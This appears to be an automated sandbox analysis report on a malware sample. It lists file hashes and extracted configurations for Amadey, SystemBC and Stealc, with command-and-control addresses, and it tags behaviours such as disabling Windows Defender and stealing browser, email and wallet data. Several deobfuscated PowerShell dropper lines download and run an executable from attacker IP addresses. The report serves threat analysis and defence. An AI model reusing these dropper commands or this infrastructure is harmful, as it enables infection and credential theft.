General

  • Target

    8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c

  • Size

    938KB

  • Sample

    250306-bqz2batzdt

  • MD5

    100bd6bacfe8cde2b3d01379c45e9282

  • SHA1

    5af8a1c8556ee19da4a43d1c9a5fced8960fb751

  • SHA256

    8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c

  • SHA512

    b6e02ef0adde68a5dcbd707c8bbb4dd0ff705c48b53cc5b4d1ff4a6eec772668a2c80ee1a61bd6d9906a8ab9412ea7904d293281de4ad3afff5b782e444600ef

  • SSDEEP

    24576:VqDEvCTbMWu7rQYlBQcBiT6rprG8aylF:VTvC/MTQYxsWR7ayl

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE"
2
(new-object system.net.webclient).downloadfile("http://185.215.113.16/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "PCKMBEY3P0XHJVXPFAGTELAJU4UX3T3O.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "\\483d2fa8a0d53818306efeb32d3.exe"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Family

systembc

C2

towerbingobongoboom.com

62.60.226.86

Attributes
  • dns

    5.132.191.104

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "VFEBH7OAHZNTRQBATY3VJGWKSA8CRWCF.EXE"
2
(new-object system.net.webclient).downloadfile("http://185.215.113.16/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "L15IXT4HYZ2ESTVJPYU9FDMMYBPMMTXI.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Targets

    • Target

      8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c

    • Size

      938KB

    • MD5

      100bd6bacfe8cde2b3d01379c45e9282

    • SHA1

      5af8a1c8556ee19da4a43d1c9a5fced8960fb751

    • SHA256

      8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c

    • SHA512

      b6e02ef0adde68a5dcbd707c8bbb4dd0ff705c48b53cc5b4d1ff4a6eec772668a2c80ee1a61bd6d9906a8ab9412ea7904d293281de4ad3afff5b782e444600ef

    • SSDEEP

      24576:VqDEvCTbMWu7rQYlBQcBiT6rprG8aylF:VTvC/MTQYxsWR7ayl

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • Detects Healer an antivirus disabler dropper

    • GCleaner

      GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    • Gcleaner family

    • Healer

      Healer an antivirus disabler dropper.

    • Healer family

    • Modifies Windows Defender DisableAntiSpyware settings

    • Modifies Windows Defender Real-time Protection settings

    • Modifies Windows Defender TamperProtection settings

    • Modifies Windows Defender notification settings

    • Stealc

      Stealc is an infostealer written in C++.

    • Stealc family

    • StormKitty

      StormKitty is an open source info stealer written in C#.

    • StormKitty payload

    • Stormkitty family

    • SystemBC

      SystemBC is a proxy and remote administration tool first seen in 2019.

    • Systembc family

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Powershell Invoke Web Request.

    • Command and Scripting Interpreter: PowerShell

      Run Powershell and hide display window.

    • Downloads MZ/PE file

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Loads dropped DLL

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Windows security modification

    • Accesses Microsoft Outlook profiles

    • Accesses cryptocurrency files/wallets, possible credential harvesting

    • Adds Run key to start application

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • Looks up external IP address via web service

      Uses a legitimate IP lookup service to find the infected system's external IP.

    • AutoIT Executable

      AutoIT scripts compiled to PE executables.

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v15

Tasks

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.